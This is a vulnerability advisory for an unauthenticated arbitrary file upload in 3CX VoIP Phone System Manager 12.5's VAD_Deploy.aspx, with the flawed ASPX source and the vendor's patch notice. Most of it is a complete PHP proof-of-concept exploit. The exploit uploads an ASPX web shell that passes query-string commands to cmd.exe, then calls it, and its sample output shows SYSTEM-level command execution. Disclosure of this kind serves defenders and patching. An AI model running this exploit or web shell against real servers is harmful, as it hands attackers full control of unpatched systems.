Vulnerability Description
The 3CX product installs a Windows service called “Abyss Web Server” (abyssws.exe) which listens on default public ports 5000 (tcp/http) and 5001 (tcp/https) for incoming requests to the web panel and runs with NT AUTHORITY\SYSTEM privileges.
Without requiring authentication/authorization it is possible to upload arbitrary scripts into an accessible web path through the VAD_Deploy.aspx script.
Given this, it is possible to run arbitrary code/commands with the privileges of the target server.
Vulnerable Code
...
<%@ Page Language="C#" EnableSessionState="false" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.Security" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Web.UI.WebControls.WebParts" %>
<%@ Import Namespace="System.Web.UI.HtmlControls" %>
a
<script runat="server">
private void validateProjectName(string projectName)
{
if (projectName.Contains("/") || projectName.Contains(@"\") || projectName.Split('_').Length < 2)
throw new ArgumentException("projectname is invalid");
}
private void Page_Load(object sender, EventArgs e)
{
Response.Cache.SetNoStore();
try
{
string projectName = Request.QueryString["projectname"]; <---------------receives a folder name here
validateProjectName(projectName); <----------------------- cannot contain directory traversal sequences and must contain the "_" token
if (!Directory.Exists(Server.MapPath(projectName)))
Directory.CreateDirectory(Server.MapPath(projectName)); <---------------- a new folder is created
string[] fileKeys = Request.Files.AllKeys;
foreach (string key in fileKeys)
{
HttpPostedFile file = Request.Files[key];
string fileName = Server.MapPath(projectName + @"\" + file.FileName); <----------- this path is web accessible
if (fileName.EndsWith(".vxml"))
{
using (StreamReader reader = new StreamReader(file.InputStream, Encoding.UTF8))
{
string fileContent = reader.ReadToEnd();
fileContent = fileContent.Replace("audio src=\"", "audio src=\"file:///" + Server.MapPath(projectName + @"\"))
.Replace("<var name=\"application.project$_WorkingDirectory$\" expr=\"''\" />", "<var name=\"application.project$_WorkingDirectory$\" expr=\"'" + Server.MapPath(projectName).Replace("\\", "\\\\") + "'\" />");
File.WriteAllText(fileName, fileContent, Encoding.UTF8);
}
}
else
file.SaveAs(fileName); <----------------------- boom
}
Response.Write("OK");
}
catch (Exception exc)
{
Response.Write("ERROR: " + exc.Message);
}
}
</script>
Proof of Concept
<?php
/*
3CX VoIP Phone System Manager Server 12.5 VAD_Deploy.aspx Remote Code Execution PoC (SYSTEM privileges)
Example output:
C:\php>php 9sg_3cx_voip.php
[*] Successfully uploaded.
[*] Compile path -> (S(k53crmcychcdhet5bkltholi))
HTTP/1.1 200 OK
X-AspNet-Version: 4.0.30319
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 21
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Connection: Close
Date: Sun, 19 Apr 2015 00:23:22 GMT
Server: Abyss/2.8.0.5-X2/B2-Win32 AbyssLib/2.8.0.1
nt authority\system
C:\php>
*/
error_reporting(7);
set_time_limit(0);
$host="192.168.0.1"; //change here
$port=5000;
$cmd = "whoami";
$data="-----------------------------3020248567291
Content-Disposition: form-data; name=\"msg\"; filename=\"x.aspx\";
Content-Type: application/octet-stream
whatever
<script language=\"cs\" runat=\"server\">
void Page_Load(object sender, EventArgs e)
{
System.Diagnostics.Process si = new System.Diagnostics.Process();
si.StartInfo.WorkingDirectory = @\"c:\";
si.StartInfo.UseShellExecute = false;
si.StartInfo.FileName = \"cmd.exe\";
si.StartInfo.Arguments = \"/c \" + Request.QueryString[\"cmd\"];
si.StartInfo.CreateNoWindow = true;
si.StartInfo.RedirectStandardInput = true;
si.StartInfo.RedirectStandardOutput = true;
si.StartInfo.RedirectStandardError = true;
si.Start();
string output = si.StandardOutput.ReadToEnd();
si.Close();
Response.Write(output);
}
</script>
-----------------------------3020248567291--
";
$pk="POST /ivr/VAD_Deploy.aspx?projectname=suntzu_suntzu HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:37.0) Gecko/20100101 Firefox/37.0\r\n".
"Accept-Encoding: text/plain\r\n".
"Cookie: \r\n".
"Content-Type: multipart/form-data; boundary=---------------------------3020248567291\r\n".
"Content-Length: ".strlen($data)."\r\n".
"Connection: Close\r\n\r\n".
$data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("[!] Not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
$out.=fread($fp,1);
}
fclose($fp);
$tmp=explode("\r\n\r\n",$out);
if (eregi("OK",$tmp[1])){
echo "[*] Successfully uploaded.\n";
} else {
if (strpos($out,"Object moved to")){
$tmp=explode("Object moved to <a href=\"/ivr/",$out);
$tmp=explode("/suntzu_suntzu",$tmp[1]);
$compile_path = $tmp[0];
echo "[*] Compile path -> ".$compile_path."\n";
$pk="POST /ivr/".$compile_path."/VAD_Deploy.aspx?projectname=suntzu_suntzu HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:37.0) Gecko/20100101 Firefox/37.0\r\n".
"Accept-Encoding: text/plain\r\n".
"Cookie: \r\n".
"Content-Type: multipart/form-data; boundary=---------------------------3020248567291\r\n".
"Content-Length: ".strlen($data)."\r\n".
"Connection: Close\r\n\r\n".
$data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("[!] Not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
$out.=fread($fp,1);
}
fclose($fp);
}
$tmp=explode("\r\n\r\n",$out);
if (eregi("OK",$tmp[1])){
echo "[*] Successfully uploaded.\n";
} else {
die("Unknown error.");
}
}
sleep(1);
$pk="GET /ivr/suntzu_suntzu/x.aspx?cmd=".urlencode($cmd)." HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:37.0) Gecko/20100101 Firefox/37.0\r\n".
"Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("[!] Not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
$out.=fread($fp,1);
}
fclose($fp);
if (strpos($out,"Object moved to")){
$tmp=explode("Object moved to <a href=\"/ivr/",$out);
$tmp=explode("/suntzu_suntzu",$tmp[1]);
$compile_path = $tmp[0];
echo "[*] Compile path -> ".$compile_path."\n";
$pk="GET /ivr/".$compile_path."/suntzu_suntzu/x.aspx?cmd=".urlencode($cmd)." HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:37.0) Gecko/20100101 Firefox/37.0\r\n".
"Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("[!] Not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
$out.=fread($fp,1);
}
fclose($fp);
echo $out."\n";
}
else{
echo $out."\n";
}
?>
Vendor Response
The vendor has issued two bulletins urging his customers to upgrade to the latest version which resolved the above-mentioned vulnerabilities: http://www.3cx.com/blog/news/security-bulletin/ and http://www.3cx.com/blog/releases/upgrade-v10-v11/.